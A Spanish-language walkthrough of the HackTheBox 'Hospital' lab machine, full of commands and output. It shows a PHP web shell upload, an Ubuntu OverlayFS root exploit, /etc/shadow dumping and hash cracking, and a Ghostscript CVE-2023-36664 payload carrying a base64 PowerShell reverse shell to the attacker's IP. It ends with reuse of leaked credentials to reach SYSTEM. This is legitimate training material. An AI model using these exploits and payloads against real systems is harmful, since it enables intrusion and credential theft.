Hospital – HackTheBox Link to heading
- OS: Windows
- Difficulty/Dificultad: Medium / Media
- Plataforma: HackTheBox
Usuario Link to heading
Empezamos con un escaneo con Nmap
, donde vemos bastantes puertos abiertos. Vemos 2 puertos abiertos interesantes: 443
HTTPs
y 8080
. Además, dado que veo los puertos 53
Domain Name System
, 88
Kerberos
, 135
Microsoft RPC
y 389
LDAP
sospecho que estamos ante un entorno Active Directory
(que, luego veremos, es así, pero no es el tema principal de la máquina).
# Nmap 7.94SVN scan initiated Fri Jan 5 19:58:45 2024 as: nmap -sVC -p53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,6409,6616,6635,9389 -oN targeted 10.10.11.241
Nmap scan report for 10.10.11.241
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-01-06 05:58:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after: 2024-03-06T18:39:34
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
|_ System_Time: 2024-01-06T05:59:58+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6404/tcp open msrpc Microsoft Windows RPC
6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6407/tcp open msrpc Microsoft Windows RPC
6409/tcp open msrpc Microsoft Windows RPC
6616/tcp open msrpc Microsoft Windows RPC
6635/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-01-06T06:00:02
|_ start_date: N/A
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m04s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 5 20:00:36 2024 -- 1 IP address (1 host up) scanned in 110.20 seconds
La página HTTPs
(https://10.10.11.121/
) muestra un panel de login:
pero no hay nada interesante aquí de momento. De todas formas, recordaré este sitio para después.
La página HTTP
corriendo en el puerto 8080
se ve como otro simple panel de login:
No obstante, esta página deja crearnos un usuario. De manera que creamos uno.
Una vez hayamos creado el usuario y nos logueemos con nuestras credenciales podemos ver un mensaje al entrar In order to get more personalized treatment, please upload your medical records
, donde nos permite subir un archivo:
Dado que podemos subir un archivo, trataré de performar un File Upload Attack
(subir un archivo malicioso). Podemos intentar, por ejemplo, subir una powny-shell dado que veo que la página web de login actual es index.php
(de manera que, asumo, el sitio usa PHP
para funcionar)
Cuando intento subir esta shell, la cual nombré pwnshell.php
, obtengo un error:
Luego de algunos intentos me doy cuenta que la extensión .php
no sirve para subir archivos, pero la extensión .phar
sí que se puede. De manera que subimos un archivo llamado pwnshell.phar
(simplemente renombre, en nuestro caso, la shell pwnshell.php
a pwnshell.phar
) y esta vez nos permite subir el archivo malicioso/webshell sin ningún problema al servidor víctima:
Ahora bien, de alguna manera necesito “llegar” al archivo malicioso que acabo de subir. Para esto intento un Brute Force Directory Listing
usando Gobuster
en el puerto 8080
. Esto revela un directorio /uploads
.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.241:8080 -x php -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.241:8080
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 5739]
/register.php (Status: 200) [Size: 5125]
/uploads (Status: 301) [Size: 321] [--> http://10.10.11.241:8080/uploads/]
/.php (Status: 403) [Size: 279]
/index.php (Status: 302) [Size: 0] [--> login.php]
/images (Status: 301) [Size: 320] [--> http://10.10.11.241:8080/images/]
/upload.php (Status: 200) [Size: 0]
/css (Status: 301) [Size: 317] [--> http://10.10.11.241:8080/css/]
/js (Status: 301) [Size: 316] [--> http://10.10.11.241:8080/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/success.php (Status: 200) [Size: 3536]
/vendor (Status: 301) [Size: 320] [--> http://10.10.11.241:8080/vendor/]
/config.php (Status: 200) [Size: 0]
<SNIP>
De manera que chequeamos http://hospital.htb:8080/uploads/pwnshell.phar
y nuestra shell nos da una cálida bienvenida:
Pero lo que llama mi atención es que puedo ejecutar comandos de Linux
dentro de esta máquina, cuando basado en su TTL
cuando usamos ping
en la máquina víctima se suponía que ésta estaba corriendo en Windows
:
❯ ping -c1 10.10.11.241
PING 10.10.11.241 (10.10.11.241) 56(84) bytes of data.
64 bytes from 10.10.11.241: icmp_seq=1 ttl=127 time=151 ms
--- 10.10.11.241 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 150.647/150.647/150.647/0.000 ms
dado que ttl=127
, si no ha sido manipulado, puede indicar que estamos ante una máquina Windows
OS.
Por esto, y tal cual puede ser apreciado en la figura superior, decido utilizar el comando ifconfig
y noto que la IPv4 de esta máquina es 192.168.5.2
, la cual es diferente de la IPv4 (10.10.11.241
) que corre el servidor. Esto podría indicar que estamos dentro de una máquina virtual o algo similar.
Personalmente, prefiero una reverse shell a una webshell. De manera que empiezo un listener con nc
en el puerto 443
, me lanzo una reverse shell con la powny-shell
y estamos dentro de nuevo:
Si chequeamos la version del sistema, estamos dentro de un sistema operativo Ubuntu
:
www-data@webserver:/var/www/html/uploads$ cat /etc/os-release
PRETTY_NAME="Ubuntu 23.04"
NAME="Ubuntu"
VERSION_ID="23.04"
VERSION="23.04 (Lunar Lobster)"
VERSION_CODENAME=lunar
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=lunar
LOGO=ubuntu-logo
Buscando información acerca de esta versión, encuentro este post el cual da más detalles de esta versión vulnerable, de manera que podemos intentar un Privilege Escalation
en este sistema. El “proof of concept” que se da es el siguiente:
# original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
# adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"
Por lo tanto, testamos el comando dado (Nota: el sistema debe tener instalado python3
, el cual podemos chequear que sí está instalado en la máquina con el comando which python3
) y correr:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os; os.setuid(0); os.system("id")'
Pero en mi caso cambio el comando id
por el comando cp $(which bash) /tmp/gunzf0x ; chmod 4777 /tmp/gunzf0x
. Personalmente prefiero crear una copia del binario /bin/bash
y, a esa copia, asignarle el permiso 4777
, el cual puede ser usado para correr con derechos del propietario y, por tanto, convertirnos en root
(pero esto sólo en el sistema/máquina virtual Ubuntu
)
www-data@webserver:/var/www/html/uploads$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
> setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os; os.setuid(0); os.system("cp $(which bash) /tmp/gunzf0x ; chmod 4777 /tmp/gunzf0x")'
y, como podemos ver, se ha creado un archivo en el directorio /tmp
el cual puede ser abusado para convertirnos en root
:
www-data@webserver:/var/www/html/uploads$ ls -la /tmp
total 1416
drwxrwxrwt 2 root root 4096 Apr 13 12:35 .
drwxr-xr-x 19 root root 4096 Sep 12 2023 ..
-rwsrwxrwx 1 root www-data 1437832 Apr 13 12:35 gunzf0x
www-data@webserver:/var/www/html/uploads$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami
root
Dado que no encuentro variables de entorno .env
o keys que podrían contener potenciales credenciales, es que decido revisar el archivo /etc/shadow
, donde el sistema guarda las contraseñas:
gunzf0x-5.2# cat /etc/shadow
root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::
daemon:*:19462:0:99999:7:::
bin:*:19462:0:99999:7:::
sys:*:19462:0:99999:7:::
sync:*:19462:0:99999:7:::
games:*:19462:0:99999:7:::
man:*:19462:0:99999:7:::
lp:*:19462:0:99999:7:::
mail:*:19462:0:99999:7:::
news:*:19462:0:99999:7:::
uucp:*:19462:0:99999:7:::
proxy:*:19462:0:99999:7:::
www-data:*:19462:0:99999:7:::
backup:*:19462:0:99999:7:::
list:*:19462:0:99999:7:::
irc:*:19462:0:99999:7:::
_apt:*:19462:0:99999:7:::
nobody:*:19462:0:99999:7:::
systemd-network:!*:19462::::::
systemd-timesync:!*:19462::::::
messagebus:!:19462::::::
systemd-resolve:!*:19462::::::
pollinate:!:19462::::::
sshd:!:19462::::::
syslog:!:19462::::::
uuidd:!:19462::::::
tcpdump:!:19462::::::
tss:!:19462::::::
landscape:!:19462::::::
fwupd-refresh:!:19462::::::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::
lxd:!:19612::::::
mysql:!:19620::::::
Además del hash del usuario root
, puedo ver un hash para un usuario llamado drwilliams
Guardo este hash en un archivo y en mi equipo lo trato de crackerlo utilizando john
:
john --wordlist=/usr/share/wordlists/rockyou.txt drwilliams_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123!@# (drwilliams)
1g 0:00:00:31 DONE (2024-01-05 20:38) 0.03125g/s 6702p/s 6702c/s 6702C/s rissie..popsickle
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
de manera que tenemos una credencial: drwilliams:qwe123!@#
Podemos entonces volver al sitio HTTPs
en el puerto 443
(no el que corría en el puerto 8080
) y tratar de loguear con esta nueva credencial. Y funciona:
En Mail -> Inbox
puedo ver un mail titulado Needle designs for Darius Simion.
Cuando lo abro dice:
De manera que este sitio es algo así como un administrador/manager de correos el cual podría usar archivos .eps
dado que está corriendo con GhostScript
. Podemos crear archivos maliciosos .eps
que ejecuten scripts/comanso usando este repositorio basado en la vulnerabilidad catalogada como CVE-2023-36664
.
Generamos un payload de Powershell
usando el sitio web https://www.revshells.com/. Más específicamente, una payload de tipo PowerShell #3 (Base64)
con mi IP de atacante 10.10.16.6
y el puerto 443
. Luego, agregamos el payload al archivo file.eps
, el cual viene incluido en el repositorio mencionado y corremos:
python3 CVE_2023_36664_exploit.py --inject --filename file.eps --payload 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
[+] Payload successfully injected into file.eps.
Ahora creamos un nuevo email, se lo enviamos a “Dr. Brown” y adjuntamos el archivo file.eps
. Para esto, vamos a Contacts -> Collected Recipients -> Click on Drbrown -> Click on 'drbrown@hospital.htb'
.
Recordar que antes de mandar el email debemos empezar un listener con nc
en el puerto 443
(o, en su caso, el puerto que hayan usado al generar el payload de Powershell
en https://www.revshells.com/) usando también rlwrap
. Deberíamos de obtener una reverse shell una vez enviado el correo.
rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.241] 6317
whoami
hospital\drbrown
PS C:\Users\drbrown.HOSPITAL\Documents>
Noto que el directorio C:\Users
tiene 2 directorios para cada Doctor:
PS C:\Users\drbrown.HOSPITAL\Documents> dir C:\users
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/6/2023 2:08 AM .NET v4.5
d----- 9/6/2023 2:08 AM .NET v4.5 Classic
d----- 11/13/2023 9:05 PM Administrator
d----- 9/6/2023 1:49 AM drbrown
d----- 11/13/2023 9:40 PM drbrown.HOSPITAL
d----- 9/6/2023 1:49 AM drwilliams
d----- 9/6/2023 7:55 AM drwilliams.HOSPITAL
d-r--- 9/5/2023 9:24 AM Public
Buscamos el archivo user.txt
usando Powershell
:
PS C:\Users\drbrown.HOSPITAL\Documents> Get-ChildItem -Path C:\ -Recurse -Filter "user.txt" -ErrorAction SilentlyContinue
Directory: C:\Users\drbrown.HOSPITAL\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/5/2024 9:57 PM 34 user.txt
y la flag está en el Desktop de drbrown.HOSPITAL
, donde ya podemos leerla.
NT Authority/System - Administrator Link to heading
Cuando logueamos como el usuario drbrown
, estamos ubicados en el directorio C:\Users\drbrown.HOSPITAL\Documents
. Podemos ver un archivo llamado ghostscript.bat
.
PS C:\Users\drbrown.HOSPITAL\Documents> dir
Directory: C:\Users\drbrown.HOSPITAL\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/23/2023 3:33 PM 373 ghostscript.bat
Cuyo contenido es:
PS C:\Users\drbrown.HOSPITAL\Documents> type ghostscript.bat
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring 'chr!$br0wn' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c "C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"
de manera que encontramos nuevas credenciales: drbrown:chr!$br0wn
Dado que el servicio Windows Remote Management
was also available según el scan de Nmap
, podemos utilizar NetExec
(el sucesor de CrackMapExec
) para chequear si podemos loguearnos con esta credencial, y…
❯ netexec winrm 10.10.11.241 -u 'drbrown' -p 'chr!$br0wn'
WINRM 10.10.11.241 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:hospital.htb)
WINRM 10.10.11.241 5985 DC [+] hospital.htb\drbrown:chr!$br0wn (Pwn3d!)
Podemos.
De manera que nos logueamos usando evil-winrm
:
❯ evil-winrm -i 10.10.11.241 -u 'drbrown' -p 'chr!$br0wn'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\drbrown.HOSPITAL\Documents>
Devuelta al scan con Nmap
, recuerdo también que el servicio Microsoft RPC
se encontraba corriendo en esta máquina. Usando rpcclient
como el usuario drbrown
y la contraseña hallada nos lleva a una info interesante:
❯ rpcclient -U "drbrown" 10.10.11.241
Password for [WORKGROUP\drbrown]:
rpcclient $> querydispinfo
index: 0x2054 RID: 0x464 acb: 0x00020015 Account: $431000-R1KSAI1DGHMH Name: (null) Desc: (null)
index: 0xeda RID: 0x1f4 acb: 0x00004210 Account: Administrator Name: Administrator Desc: Built-in account for administering the computer/domain
index: 0x2271 RID: 0x641 acb: 0x00000210 Account: drbrown Name: Chris Brown Desc: (null)
index: 0x2272 RID: 0x642 acb: 0x00000210 Account: drwilliams Name: Lucy Williams Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xf0f RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x2073 RID: 0x465 acb: 0x00020011 Account: SM_0559ce7ac4be4fc6a Name: Microsoft Exchange Approval Assistant Desc: (null)
index: 0x207e RID: 0x46d acb: 0x00020011 Account: SM_2fe3f3cbbafa4566a Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} Desc: (null)
index: 0x207a RID: 0x46c acb: 0x00020011 Account: SM_5faa2be1160c4ead8 Name: Microsoft Exchange Desc: (null)
index: 0x2079 RID: 0x46b acb: 0x00020011 Account: SM_6e9de17029164abdb Name: E4E Encryption Store - Active Desc: (null)
index: 0x2078 RID: 0x46a acb: 0x00020011 Account: SM_75554ef7137f41d68 Name: Microsoft Exchange Federation Mailbox Desc: (null)
index: 0x2075 RID: 0x467 acb: 0x00020011 Account: SM_9326b57ae8ea44309 Name: Microsoft Exchange Desc: (null)
index: 0x2076 RID: 0x468 acb: 0x00020011 Account: SM_b1b9e7f83082488ea Name: Discovery Search Mailbox Desc: (null)
index: 0x2074 RID: 0x466 acb: 0x00020011 Account: SM_bb030ff39b6c4a2db Name: Microsoft Exchange Desc: (null)
index: 0x2077 RID: 0x469 acb: 0x00020011 Account: SM_e5b6f3aed4da4ac98 Name: Microsoft Exchange Migration Desc: (null)
esto es mucha data, pero si vemos los usuarios Guest
y Administrator
podemos notar algo:
❯ rpcclient -U 'drbrown%chr!$br0wn' 10.10.11.241 -c 'querydispinfo' | grep -E 'Guest|Administrator'
index: 0xeda RID: 0x1f4 acb: 0x00004210 Account: Administrator Name: Administrator Desc: Built-in account for administering the computer/domain
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
❯ rpcclient -U 'drbrown%chr!$br0wn' 10.10.11.241 -c 'queryuser 0x1f5'
User Name : Guest
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for guest access to the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 21:00:00 -03
Logoff Time : Wed, 31 Dec 1969 21:00:00 -03
Kickoff Time : Wed, 13 Sep 30828 23:48:05 -03
Password last set Time : Wed, 31 Dec 1969 21:00:00 -03
Password can change Time : Wed, 31 Dec 1969 21:00:00 -03
Password must change Time: Wed, 13 Sep 30828 23:48:05 -03
unknown_2[0..31]...
user_rid : 0x1f5
group_rid: 0x202
acb_info : 0x00000215
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
❯ rpcclient -U 'drbrown%chr!$br0wn' 10.10.11.241 -c 'queryuser 0x1f4'
User Name : Administrator
Full Name : Administrator
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : Sat, 13 Apr 2024 08:02:00 -04
Logoff Time : Wed, 31 Dec 1969 21:00:00 -03
Kickoff Time : Wed, 13 Sep 30828 23:48:05 -03
Password last set Time : Tue, 12 Sep 2023 04:58:45 -03
Password can change Time : Tue, 12 Sep 2023 04:58:45 -03
Password must change Time: Wed, 13 Sep 30828 23:48:05 -03
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00004210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000137
padding1[0..7]...
logon_hrs[0..21]...
que es que los usuarios Guest
y Administrator
comparten información.
Podemos entonces chequear los permisos que tendríamos su subiéramos una webshell (la misma que pwnshell.php
que habíamos utilizado anteriormente), pero esta vez en servicio HTTPs
(el que corre en el puerto 443
). Primero decido investigar el directorio inetpub
localizado en C:\
. Pero no veo nada interesante más allá de un archivo backup que no muestra info valiosa. Pero en el directorio C:\xampp\htdocs
(donde, aparentemente, está corriendo el servicio) testeo creando un simple archivo PHP
:
*Evil-WinRM* PS C:\> echo '<?php echo "this is a test"; ?>' > C:\xampp\htdocs\testing.php
Cuando visito https://10.10.11.241/testing.php
la página no muestra directamente el contenido de testing.php
, no obstante el recurso sí existe. De manera que estamos creando y exponiendo un archivo.
Decido empezar un server temporal de Python
HTTP
en el puerto 8080
para transferir archivos:
❯ ls && python3 -m http.server 8080
CVE-2023-36664-Ghostscript-command-injection pwnshell.phar pwnshell.php
y luego, en la máquina víctima, lo descargo utilizando wget
desde la sesión evil-winrm
y llamar a este archivo gunzf0x.php
(luego me acordé de que evil-winrm
tiene el comando upload
que también nos sirve, pero bueno, me quise complicar la vida):
*Evil-WinRM* PS C:\> wget http://10.10.16.6:8080/pwnshell.php -O C:\xampp\htdocs\gunzf0x.php
*Evil-WinRM* PS C:\> dir C:\xampp\htdocs\
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/22/2023 10:19 PM bin
d----- 10/22/2023 11:47 PM config
d----- 10/22/2023 10:33 PM default
d----- 10/22/2023 10:19 PM installer
d----- 10/22/2023 10:32 PM logs
d----- 10/22/2023 10:19 PM plugins
d----- 10/22/2023 10:20 PM program
d----- 10/22/2023 10:20 PM skins
d----- 10/22/2023 10:19 PM SQL
d----- 4/13/2024 6:00 AM temp
d----- 10/22/2023 10:20 PM vendor
-a---- 10/16/2023 12:23 PM 2553 .htaccess
-a---- 10/16/2023 12:23 PM 211743 CHANGELOG.md
-a---- 10/16/2023 12:23 PM 994 composer.json
-a---- 10/16/2023 12:23 PM 1086 composer.json-dist
-a---- 10/16/2023 12:23 PM 56279 composer.lock
-a---- 4/13/2024 6:56 AM 20321 gunzf0x.php
-a---- 10/16/2023 12:23 PM 11199 index.php
-a---- 10/16/2023 12:23 PM 12661 INSTALL
-a---- 10/16/2023 12:23 PM 35147 LICENSE
-a---- 10/16/2023 12:23 PM 3853 README.md
-a---- 10/16/2023 12:23 PM 967 SECURITY.md
-a---- 4/13/2024 6:54 AM 68 testing.php
-a---- 10/16/2023 12:23 PM 4657 UPGRADING
Una vez subida, visitamos el sitio https://10.10.11.241/gunzf0x.php
y ahora somos NT Authority/System
en nuestra webshell… GG.
De manera que podemos obtener la flag en el Desktop de Administrator
y máquina completada.
~Happy Hacking